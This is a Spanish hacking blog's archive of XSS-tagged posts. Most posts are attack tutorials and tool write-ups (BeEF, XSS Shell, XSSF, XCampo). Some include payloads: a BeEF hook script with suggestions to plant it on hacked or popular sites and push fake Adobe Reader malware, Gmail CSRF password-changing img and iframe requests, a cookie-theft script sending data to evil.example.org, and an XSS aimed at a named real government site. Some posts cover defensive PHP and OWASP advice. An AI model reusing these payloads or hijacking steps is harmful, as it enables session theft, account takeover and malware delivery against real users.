Mostrando entradas con la etiqueta XSS. Mostrar todas las entradas
Mostrando entradas con la etiqueta XSS. Mostrar todas las entradas

3 feb. 2015

Internet Explorer 11 vulnerable a un XSS universal (UXSS)


La última versión estable de Internet Explorer, la 11.0.15, permiten a un atacante llevar a cabo un XSS pudiendo inyectar código y robar los datos de otras páginas que el usuario tiene abiertas en otras pestañas o ventanas.
 
Este Cross Site Scripting universal o UXSS evade totalmente la Política del Mismo Origen o Same Origin Policy (SOP), es decir, da igual que una web tenga o no vulnerabilidades XSS, sólo por usar la última versión del navegador de Microsoft el usuario está expuesto a que le roben los datos de su sesión en cualquier otro dominio, incluso HTTP a HTTPS.

25 feb. 2011

Tutorial de XSS, XSF, CSRF, XFS, XZS, XAS, XRS & XSSDoS

Leyendo por ahí, me encuentro con un mega tutorial XSS hecho por lord epsylon el cual comprende una amplia gama de variaciones y/o tipos de XSS (por no decir todos), son 174 páginas y como me encanta leer y a parte que está muy bien hecho (y en español), ayer en la noche me lo leí entero. 100% recomendado, muy gráfico y muy claro, muchas páginas, pero al leerlo se hace muy rápido. Yo personalmente aprendí  y repasé mucho al leerlo ;)

19 oct. 2010

[XSSF] Usanso Metasploit para explotar un XSS


Aquí les dejo un video donde muestran como atacar un posible XSS con una nueva herramienta de Metasploit: XSSF. XSSF es un Framework que corre adentro de Metasploit. Nos permite tratar con las víctimas de un ataque XSS y mantener enlace con ellos para futuros ataques. El video finaliza cuando se logra obtener acceso a la víctima del XSS. Recomiendo 100% el video:



Bueno, y en este video se muestra se hace un túnel XSS con la víctima,lo que permite al atacante usar el dominio vulnerable como si estuviera en lugar de la víctima. Para entender mejor vean el video:



Con estos 2 videos nos podemos dar cuenta del verdadero poder de un XSS, ya que es muy común creer que con un XSS solo se puede robar cookies. Con XSSF se nos abre una gamma mucho más amplia de lo que se puede hacer con un XSS.

Añadir XSSF a Metasploit
  1. Descargamos XSSF.zip de la web oficial:  XSSF.zip
  2. Descomprimimos las 4 carpetas que hay adentro (data, lib, modules, plugins) las pegamos en la carpteta msf3, en Windows generalemte es C:\Archivos de programa\Metasploit\Framework3\msf3.
  3. Partir la consola de Metasploit como siempre.
Más información en la web oficial: http://www.metasploit.com/redmine/issues/2995... Recordar que todavía no se agrega XSSF al actualizar Metasploit, pero tengo la fe que en posteriores versiones venga incluido.

[+] Salu2
[+] ZioneR

2 oct. 2010

Ataques XSS con javascript por diversión y beneficio

Este es un excelente tutorial donde explican bastante bien este tipo de vulnerabilidades:

De las muchas vulnerabilidades que podemos encontrar en las aplicaciones Web una de las más comunes es el XSS o Cross-Site-Scripting. Consiste esencialmente en introducir código en páginas web para que lo ejecute cualquiera que acceda a ellas.

Aunque es relativamente fácil protegerse ante estos ataques, existen muchas maneras de saltarse filtros. En este taller se probaran distintas diversiones con javascript, desde el hola mundo a cosas más complejas.
Pello Xabier Altadill – Instituto Cuatrovientos


Tabla de contenidos:
Ataques XSS con javascript como diversión y beneficio .......................1
(0). Escenario y primera prueba .............................................2
(1). Hola mundo .............................................................3
(2). Dando por el culo con alerts ...........................................4
(3). Vámonos de aquí ........................................................5
(4). Jugando con el objeto window ...........................................6
(5). Solicitando datos al usuario ...........................................7
(6). Capturando eventos .....................................................8
(7). Robo de cookies y sesiones .............................................10
(8). Session Ridding ........................................................11
(9). Adueñandonos del documento a través de DOM .............................12
(9.1). ¿Qué es eso del DOM? .................................................12
(9.2). Leer, modificar, añadir, reemplazar y eliminar .......................13
(10). AJAX: una nueva era ...................................................18
(10.1). Mandando datos por lo bajini ........................................19
(10.2). Mandando datos fuera ................................................23
(10.3). Snifando datos ......................................................24
(11). Formas de introducir XSS ..............................................25
Referencias, webs, artículos:................................................25

 Descargar [PDF] Ataques XSS con javascript por diversión y beneficio.

Artículos relacionados:
Todo Sobre XSS!!
XSS a fondo

Fuente: http://4party.cuatrovientos.org/

25 sept. 2010

[Xss Shell] Video + Tutorial

XSS Shell es un poderoso backdoor XSS que permite obtener de forma interactiva el control de un cross-site scripting (XSS) en una aplicación web. Demuestra el poder real y el daño de los ataques de cross-site scripting.

QUE ES UNA SHELL XSS?

XSS Shell es un potente backdoor XSS y un administrador de zombis. Este concepto fue presentado primero por XSS-proxy (http://xss-proxy.sourceforge.net/). Normalmente, en ataques XSS el atacante tiene una oportunidad, en forma interactiva XSS Shell puede enviar peticiones y obtener respuestas de la víctima, tu puedes poner el backdoor en la página.

Puedes robar la autentificación básica, puedes saltarse restricciones de IP en los paneles de administración, puedes realizar un DDoS en algunos sistemas con una vulnerabilidad XSS permanente, etc... posibilidades de ataque son ilimitados con buenas ideas. Básicamente esta herramienta demuestra que se puede hacer más cosas con XSS.

CARACTERISTICAS

XSS Shell tiene varias características para tener acceso a toda víctima. También puede simplemente añadir sus propios comandos.

La mayoría de las características se pueden habilitar o deshabilitar desde la configuración o pueden ser ajustado desde el código fuente.

Características:

  • Páginas de regeneración
  • Keylogger
  • Mouse Logger (click points + DOM actual)

Incorporado en los comandos:

  • Obtener datos con Keylogger.
  • Obtener la página actual (obtener DOM actual / como una captura de pantalla).
  • Obtener Cookie.
  • Ejecutar JavaScript suministrado (eval).
  • Obtener Portapapeles (sólo para IE).
  • Obtener dirección IP interna (sólo Firefox + JVM ).
  • Revisar las víctimas que visitaron el historial de URL.
  • DDoS.
  • Forzar la caída del navegador de la víctima.

INSTALACIÓN

XSS Shell utiliza ASP + base de datos MS Access como backend, pero puedes simplemente ponerlo en cualquier otra solución de servidor. Sólo tiene que seguir con el protocolo de comunicación simple.

Instalar la interfaz de administración:

  1. Copiar "xssshell" carpeta en su servidor web
  2. Copiar "db" a un lugar seguro (por debajo de la raíz)
  3. Configurar "ruta de acceso base de datos" de "xssshell/db.asp"
  4. Modificar fuertemente codificados la contraseña en db.asp [contraseña por defecto es: w00t
  5. Ahora usted puedes tener acceso a la interfaz de administración de algo como http://[YOURHOST]/xssshell/

Configurar XSS Shell para la comunicación:

  1. Abrir xssshell.asp
  2. Elegir la variable "SERVER"  a la carpeta donde se encuentra XSSShell. i.e: "http://[YOURHOST]/xssshell/";
  3. Asegúrese de revisar "ME", "Conexión", "COMMANDS_URL" variables. Si ha cambiado los nombres de archivo, nombres de carpetas o algún tipo de configuración diferente que necesita modificarlos.
Ahora abra su interfaz de administración desde el navegador. Para probarlo, basta con modificar "sample_victim/default.asp" código fuente y reemplazar "http://attacker:81/release/xssshell.js" URL con su propia URL del tipo XSS Shell. Abrir "sample_victim" carpeta en cualquier otro navegador y puede ser subido a otro servidor.
Ahora debería poder ver un zombi en la interfaz de administración. Sólo tiene que escribir algo de texto en el área "parámetros" y haga clic en "alert ()". Usted debe ver un mensaje de alerta en el navegador de la víctima.


Video De Una Xss Shell Funcionando:





Descargar XSS Shell v0.3.9:
http://www.portcullis-security.com/tools/free/XSSShell039.zip
o
http://ferruh.mavituna.com/xssshell/download/xssshellv039.zip


Vía: http://0verflow.diosdelared.com/
Fuente: http://www.darknet.org.uk/

Temas Relacionados:
[BeEFYPROXY] Interceptar el trafico WEB (MITM)
[BeEF] Tutorial

[+] Salu2

5 ago. 2010

[CSRF] en GMail

I. LA VULNERABILIDAD:

Vulnerabilidad CSRF en el servicio Gmail.

II. ANTECEDENTES:

Gmail es el servicio de correo gratuito de Google. Viene con la tecnología de Googlesearch integrada y más de 2.600 megabytes de almacenamiento (y crece cada día). Se pueden guardar todos los mensajes recibidos, archivos e imágenes para siempre, Gmail tiene una búsqueda rápida y fácil para encontrar cualquier cosa que se esté buscando, entre otros servicios.

III. DESCRIPCIÓN:

Cross-Site Request Forgery, también conocido como  CSRF o XSRF, es una especie de hazaña de los sitios web maliciosos. Aunque este tipo de ataque tiene similitudes con la de cross-site scripting (XSS), cross-site scripting requiere del atacante para inyectar código no autorizado en un sitio web, mientras el CSRF se limitaba a transmitir comandos no autorizados de un usuario sin su permiso.

Gmail es vulnerable a ataques CSRF en la función "Cambiar contraseña". Con sólo una autentificación del usuario la cookie es enviada automáticamente por el navegador y se repite en cada petición sin necesidad de autentificarse denuevo.

Un atacante puede crear una página que incluye las solicitudes a la función de cambio de "contraseña "funcionalidad de GMail y modificar las contraseñas de los usuarios que, estando identificado, visite la página del atacante.

El ataque se facilita ya que la petición "Cambiar contraseña" es realizada a través del método HTTP GET en lugar del método POST que se realiza habitualmente.

IV. PRUEBA DE CONCEPTO:

1. Un atacante crea una página web "csrf-attack.html" que realizan muchas peticiones GET HTTP a la función "Cambiar contraseña".

Por ejemplo, un crackeao de contraseñas de 3 intentos (ver el parámetro "OldPasswd"):
...
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
...

o con marcos ocultos:
...
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
<iframe
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save";>
...

El atacante puede utilizar deliberadamente una nueva contraseña débil (ver "passwd" y parámetros "PasswdAgain" ), de esta manera se puede saber si la contraseña es correcta analizados sin necesidad de modificar la contraseña de la víctima.

El uso de contraseñas débiles en "Cambiar contraseña" La respuesta es:
- " The password you gave is incorrect. ", Analizó si la contraseña no es correcta.
- " We're sorry, but you've selected an insecure password. In order
to protect the security of your account, please click "Password
Strength" to get tips on choosing to safer password. ", Analizó si la contraseña es correcta y la contraseña de la víctima no se modifica.

Si el atacante desea modificar la contraseña del usuario víctima, el mensaje de respuesta esperado es: " Your new password has been saved - OK ".

En cualquier caso, el atacante eludr las restricciones impuestas por el captcha en la forma de autenticación.

2. Un usuario autenticado en GMail visita "csrf-attack.html página" controlado por el atacante.

Por ejemplo, el atacante envía un correo electrónico a la víctima (una cuenta de GMail) y provoca que la víctima visita a su página (ingeniería social). Por lo tanto, el atacante se asegura que la víctima se haya autenticado.

3. El robo de contraseñas se ejecuta de forma transparente a la víctima.

V. impacto en las empresas

- Denegación de servicio selectivo en los usuarios del servicio Gmail (cambiar la contraseña de usuario).
- Posible acceso al correo de otros usuarios de GMail.

VI. SISTEMAS AFECTADOS:

Gmail servicio.

VII. SOLUCIÓN:

No hay solución aportada por el fabricante.

VIII. REFERENCIAS:

http://www.gmail.com

IX. CRÉDITOS

Esta vulnerabilidad ha sido descubierta y reportada por
Vicente Aguilera Díaz (vaguilera (a) isecauditors (punto) com).

Fuente: http://seclists.org/

[XCampo] Máximo provecho a un XSS

Bueno, navegando me encuentro con una llamativa herramienta, XCampo, que sirve en resumen para generar payloads XSS. Bueno, que mejor que la mismísima explicación del autor:
Basicamente es un generador de payloads XSS para incluir en demos, informes o charlas. Ni que negar tiene que tambien se podrian usar en algun ataque real, pero no es la idea principal. Como los ataques XSS nunca son iguales (unas veces te filtran una serie de caracteres, otras tienes que “escapar” de una zona de codigo HTML que te molesta para incluir tu codigo, etc.) me he limitado a generar el Javascript mas parco y generalista que he podido/sabido y que luego habra que adaptar a las necesidades de la vulnerabilidad. Por ahora genera los siguientes ataques:
  • Fake login: Genera un div sobre el resto de la pagina con un campo de login falso. Los datos se envian al sitio web que nosotros queramos y ya ahi somos responsables de hacer lo que queramos con el usuario.
  • hax0r defacement: Intenta poner un div sobre toda la pagina, incluir un texto e incluso reproducir una cancion. Este modulo tengo que mejorarlo, pero creo que es el que menos usara la gente………… o no ;)
  • Form redirection: Muy util en ataques XSS que se encuentran en las paginas de login. Cambia el evento action de todos los forms a la direccion que le digamos. Ademas elimina cualquier tipo de Javascript de validacion que existiera, por si acaso!
  • Password managers: La idea es, haciendo uso de Javascript, robar la informacion que los navegadores autocompletan cuando hemos guardado el usuario y contraseña en una pagina. Por ahora solo esta implementado el de Internet Explorer, pero el de Firefox no seria dificil de hacer.
  • Session cookies: Lo mas tipico! Podemos enviar las cookies de un navegador hacia el dominio que queramos. Ademas existen tres maneras de hacerlo:

    • iframe
    • img
    • pop-up
Ademas cada uno de estos payloads, cuando es posible, puede usar la funcion de eliminar las comillas, evitando los filtros que pudiera haber a costa de ampliar el tamaño del codigo generado.
La instalación es bastante simple, solamente tienen que subirlo a un host.

Descarga de XCampo

Web: https://equilibrioinestable.wordpress.com/

17 may. 2010

Todo Sobre XSS!!

Navegando me encuentro con lo que perfectamente podría ser el texto más completo sobre XSS, es muy detallista, está muy bien explicado y muy didáctico  (muchas imágenes), son 174 páginas con métodos , tipos de ataques, herramientas, etc (todo en español)... La tabla de contenido es:

1.- Introducción
2.- Tipos de Ataques
- Reflected Cross Site Scripting (XSS Reflejado)
- Stored Cross Site Scripting (XSS Persistente)
- DOM Cross Site Scripting (DOM XSS)
- Cross Site Flashing (XSF)
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Zone Scripting (XZS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- Denial of Service (XSSDoS)
- Flash! Attack
- Induced XSS
- Image Scripting
- anti-DNS Pinning
- IMAP3 XSS
- MHTML XSS
- Expect Vulnerability
3.- Evitando Filtros
4.- PoC examples - Bypassing filters
- Data Control PoC
- Frame Jacking PoC
5.- Técnicas de ataque
+ Classic XSS - Robando “cookies”
+ XSS Proxy
+ XSS Shell
+ Ajax Exploitation
+ XSS Virus / Worms
+ Router jacking
+ WAN Browser hijacking
- DNS cache poison
- XSS Injected code on server
- Practical Browser Hijacking
6.- XSS Cheats - Fuzz Vectors
7.- Screenshots
8.- Herramientas
9.- Links
10.- Bibliografía
11.- Licencia de uso
12.- Autor etc,

 DESCARGA TUTORIAL XSS!!

PD: yo personalmete lo voy a imprimir para leerlo entero... :)
[+] Salu2

Fuente: http://oxono.diosdelared.com/

6 may. 2010

[BeEF] Tutorial

Bueno, hace algún tiempo publique información sobre BeEF: [BeEFYPROXY] Interceptar el trafico WEB (MITM) ahora les traigo un tutorial que encontré y que es bastante bueno, lo recomiendo 100%:


INICIEMOS

1- Descargamos BeEF de Su pagina oficial
http://www.bindshell.net/tools/beef/

2- Desempaquetamos.....

3-En un Hosting montamos los Archivos...Cuando acabemos vamos a la GUI:

¿Una Vez Montado como saber si funciona?


Simple Nos Ponemos en la GUI :D

Y vamos al MENU VIEW Y ELEGIMOS LA 1 OPCIÓN

Este Nos Brindara una ventana de EXAMPLE O PRUEBA si vemos que Al cabo de unos Segundos Conecta...

Quiere decir que Nuestro BeEF esta Listo :D!!!


¿COMO USARLO?

Bueno vamos al menú que Nombre anteriormente VIEW/Spawn Zombie Example

Nos saldrá esta pag:

Dicho código es un ARCHIVO SCRIPT que se encuentra en los archivos que nosotros subimos con el BEEF!

<script language='Javascript' src="http://          /beef/hook/beefmagic.js.php'></script>

Ese Code Hay que Meterlo en el Body de las Páginas.. Su función sería crear un Puente...Se preguntan en que Páginas¿?... en las que Quieran...!!! EJEMPLO!... si logran meter el SCRIPT CODE en alguna pagina con usuarios EJEMPLO: facebook.com XD podrías robar SESIONES COOKIES.. Ademas Podrías meterlo en varias webs FAMOSAS CON MUCHA VISITAS y a los users los Rediriges a un EXE y así Podrías tener un Malware Infeccion

Mentiendo el Code en un INDEX de un Hacked HOST!

Este Code hará una simulación de quw la web esta Cargando... y A la vez Conecta al BEEF CLIENT.







En Nuestro Client BEEF Veríamos esto....

1 ZOMBIE A CONECTADO :D
  • Podriamos Robar Cookies
  • Sacar IPS
  • Enviar Alerts!
  • Java Applet!
  • Entre otras Funciones.....
Enviando Alerts

1- VISTA DESDE EL CLIENT MANAGER

2-VISTA DESDE LA WEB Q RECIBE

Haciendo redireccion a Archivo Exe Mediante ING SOCIAL!


1- Enviamos AlerT al usuario con algo q haga descarga

EJEMPLO: "Para Ver la Página Necesita tener Adobe reader 3"

El usuario dira Bueno lo Descargo de una....


2- Le hacemos un redirect a Un Archivo.exe Simulando ser el Adobe Reader 3

a- Vamos a NETWORK MODULES/ BROWSER REDIRECT

b- Ingresamos el enlace con el .exe MALICIOSO

c- Al abrirse el usuario creera q es el ADOBE q se le pidio anteriormente... y PFF

Fuente: http://maztor.diosdelared.com/

[+] Salu2

26 abr. 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:
<script>document.location = 
'http://evil.example.org/steal_cookies.php?cookies=' + 
document.cookie</script>
Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:
GET  /buy.php?symbol=SCOX&amp;quantity=1000 HTTP/1.1
Host:  stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml,  image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.
Directory Transversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix


Fuente: http://www.securitybydefault.com/

22 abr. 2010

La seguridad salió mal: filtro XSS de IE8 expone sitios a ataques XSS

[Actualización: Microsoft planea liberar una actualización del filtro XSS en junio de 2010 para reparar lo que espera sea el último escenario de ataque.

El filtro de XSS (Cross-Site Scripting) que viene con el navegador Internet Explorer 8 puede ser abusado por atacantes para lanzar ataques XSS en sitios web y páginas web que de otra manea serían inmunes a esta amenaza.

Según una presentación en la conferencia Black Hat Europa de este año, el asunto introduce problemas de seguridad en varios sitios web de alto perfil, incluyendo el propio Bing de Microsoft (captura), Google, Wikipedia,org, Twitter (captura) y casi todo otro sitio web que permita a los usuarios de IE 8 crear pergiles de usuario.
Microsoft agregó la característica anti-XSS en IE 8 el pasado mes de agosto para detectar los ataques Tipo 1 (reflejados) que pueden derivar en el robo de cookie, grabación de pulsaciones de teclado, desfiguración de sitios y robo de credenciales. Sin embargo, como descubrieron los investigadores, los filtros de Microsoft funcionan escaneando las peticiones salientes en busca de una cadena que pueda ser maliciosa.

Así es donde está el problema:

Cuando tales cadenas son detectadas, IE8 generará dinámicamente una expresión regular que coincida con la cadena saliente. El navegador entonces buscará el mismo patrón en respuestas desde el servidor. Si se produce una coincidencia en cualquier parte de la respuesta del servidor entonces el navegador asume que se está llevando a cabo un ataque XSS reflejado y el navegador automáticamente alterará la respuesta de modo que el ataque XSS no tenga éxito.
El método exacto usado para alterar la respuesta del servidor es el componente crucial al prevenir los ataques XSS. Si el ataque nos neutralizado de forma apropiada, entonces el script malicioso aun podría ejecutarse. Por otro lado, también es crucial que las peticiones benignas no sean detectadas accidentalmente.
Los investigadores se las ingeniaron para usar la respuesta alterada de IE8 para realizar abusos simples y ataques XSS universales.

Este documento explica el alcance del problema y provee algunas demostraciones.

Jerry Bryant, un portavoz del equipo de respuesta de seguridad de Microsoft, dijo que el grueso de los problemas descriptos en el documento fueron solucionados con el parche de seguridad MS10-002, que fue publicado para los usuarios de IE a comienzos de este año.

"Microsoft también agregó un cambio de defensa en profundidad (MS10-018) en marzo de 2010 para proveer de una más amplia cobertura de este tipo de escenarios de ataque," dijo Bryant.

Sin embargo no todos los problemas han sido reparados y el filtro XSS del navegador sigue introduciendo riesgos de seguridad en ciertos sitios web.

Hasta que sea reparado apropiadamente, los investigadores recomiendan seguir las siguientes mitigaciones en el lado del servidor:
  • Filtrar todo el contenido generado por usuarios de modo que, aún si es interpretado en un contexto diferente, no pueda ejecutarse.
  • Usar tokens anti-CSRF del sistema para impedir que cualquier clase de XSS pueda ser explotado en primer lugar.
  • Deshabilitar los filtros de IE8 usando un encabezado de respuesta con el mecanismo de opt-out. Hay pros y contras obvios al hacer esto, de modo que considere sus opciones cuidadosamente. Más allá de las serias vulnerabilidades tratadas en este documento, los filtros ayudan en gran medida a proteger a los usuarios de IE8 de los ataques XSS tradicionales. Obviamente, una vez que los usuarios han actualizado a la versión emparchada, recomendamos fuertemente mantener habilitados los filtros.
Los usuarios finales que corren IE8 deben considerar deshabilitar los filtros desde dentro del navegador hasta que se despache un parche completo.

ACTUALIZACIÓN: Bryant de Microsoft envió un correo para señalar artículo del blog de agosto de 2008 que brinda información de contexto adicional sobre este asunto.

Traducción: Raúl Batista - Segu-Info
Autor: Ryan Naraine
Fuente: Blogs ZDNet

TOP 10 Fallos de Seguridad en Aplicaciones Web

El proyecto OWASP (Open Web Application Security Project) ha publicado la actualización al año 2010 de su famoso TOP 10 con los mayores riesgos asociados a las aplicaciones web.
4Oc8p TOP 10 Fallos 
de Seguridad en Aplicaciones Web
En esta nueva edición del TOP 10 se nota como intencionalmente han querido eliminar de la listas algunas vulnerabilidades específicas, para enfocarse más en los riesgos de seguridad que representan estas vulnerabilidades. Este nuevo enfoque sobre riesgos de seguridad en las aplicaciones web tienen por objeto impulsar a las organizaciones, a madurar más la comprensión y gestión de aplicaciones de seguridad a través de su organización.

La OWASP indica que el Top 10 para el 2010 es:

  1. Inyección
  2. Cross-Site Scripting (XSS)
  3. Interrupción de la autenticación y administración de sesiones
  4. Referencias de Objetos Directos Inseguros
  5. Falsificación de Solicitud Cross-Site (CSRF)
  6. La configuración errónea de Seguridad
  7. Cifrado de Almacenamiento Inseguro
  8. Falla al restringir el acceso URL
  9. Insuficiente protección de la capa de transporte
  10. Redirecciones sin validar y hacia adelante.
Más Información:
Anuncio en la Página Oficial de OWASP

Fuente: http://www.dragonjar.org/

5 mar. 2010

Vulnerabilidad de XSS en mas de 8 Millones de Sitios con Flash

Bueno.. ahora una noticia bastante antigua, pero que no va dejar de dar que hablar en mucho tiempo...

Una de las aplicaciones mas comunes utilizadas en los sitios web,  son las películas y clics hechos en Adobe Flash (antes de Macromedia),  animaciones, slideshows  y anuncios publicitarios en este formato, están a la orden del día por toda la red. La facilidad con la que se crean y la gran cantidad de documentación sobre el uso de Flash, a colaborado para que su uso se extienda a millones de sitios web.
4281994965 8481cfbf7f o Vulnerabilidad de XSS en mas de 8 Millones de Sitios con Flash
A pesar de ser una herramienta muy útil,  personalmente pienso que esta sobreutilizada y que tiene gran cantidad de defectos, como no poder ser indexados adecuadamente en los buscadores,  la cantidad de recursos que consume cuando se utiliza para visualizar película s o vídeos online,  a esta lista de desventajas, ahora hay que sumarle un nuevo fallo de seguridad, descubierto por el investigador MustLive y publicado en su sitio websecurity.com.ua.


El fallo consiste en una vulnerabilidad de XSS (Cross-site scripting) la cual permite incrustar codigo Javascript y/o HTML, en algunas animaciones flash que no validan correctamente sus parámetros de entrada.

Ejemplo del código vulnerable:

Como se puede ver,  en el siguiente código actionscript, no se hace validación alguna a las variables obtenidas:

getURL(_root.clickTAG, "_blank");

El codigo anterio podria ser explotado de la siguiente forma:

http://sitiovulnreable/flash.swf?clickTAG=javascript:alert('comunidad dragonjar')

Pero no es la única variable vulnerable a este tipo de vulnerabilidades XSS

getURL(_root.url, "_blank");

Que puede ser explotada de la siguiente forma:

http://sitiovulnreable/flash.swf?url=javascript:alert('comunidad dragonjar')

Para ver el funcionamiento de este tipo de ataques, les dejo este flash en el portal del “Area Metropolitana del Valle de Aburrá”, donde podemos ver que con solo deja correr la animacion , nos ejecutara el alert en javascript que hemos incrustado de forma arbitraria en el archivo flash, por lo que podríamos realizar todo tipo de estafas y engaños utilizando el nombre de esta pagina del gobierno colombiano.

Este problema que afecta millones de sitios en la red (lo cual podemos comprobar con una simple búsqueda en google  ”filetype:swf  inurl:clicktag”), es aun mas grave si se tiene en cuenta que la mayoría de las personas que manejan Flash y en especial su lenguaje de programación ActionScript, son diseñadores o programadores que no tienen en cuenta la seguridad a la hora de realizar sus trabajos, una muestra de esto lo podemos ver en el periódico ”El Heraldo” de Barranquilla que recomienda el uso de un código vulnerable para realizar la publicidad que se publica en su portal.

Fuente: http://www.dragonjar.org/

Es así como rapidamente  buscamos en google:

filetype:swf inurl:clickTAG

y encontramos por ejemplo una página del ejercito chileno...:

http://www.ejercito.cl/swf/ver-galeria.swf?clickTag=http://www.ejercito.cl/galeria-im/galeria_01.htm

Cambiamos simplemente la sección "http://www.ejercito.cl/galeria-im/galeria_01.htm" por nuestro XSS:

http://www.ejercito.cl/swf/ver-galeria.swf?clickTag=javascript:alert('XSS :P')

Lalo: Bueno... ok, pero no pasa nada...
Zioner: ajajaj... Es porque tienes que hacer click donde dice "ver galería".
Lalo: aaahhh okey...

Salu2

[+] Zioner

XSS a fondo

